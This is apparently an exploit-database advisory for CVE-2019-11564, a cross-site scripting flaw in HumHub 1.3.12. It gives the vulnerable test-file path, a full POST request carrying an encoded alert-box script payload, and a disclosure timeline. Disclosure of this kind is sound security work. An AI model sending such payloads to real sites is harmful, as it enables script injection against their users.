# Exploit Title: HumHub 1.3.12 - Cross-Site Scripting # Exploit Author: Kağan EĞLENCE # Vendor Homepage: https://humhub.org/ # Version: 1.3.12 # CVE : CVE-2019-11564 Url : http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php Vulnerable File : /protected/vendor/codeception/codeception/tests/data/app/view/index.php Request Type: POST #Request Example: ============= POST /humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: close Cookie: xxxx Upgrade-Insecure-Requests: 1 %3Cscript%3Ealert%28%22Vulnerable%22%29%3C%2Fscript%3E=undefined ### History ============= 2019-4-10 Issue discovered 2019-4-10 Vendor contacted 2019-4-10 Vendor response and hotfix 2019-4-27 Advisory release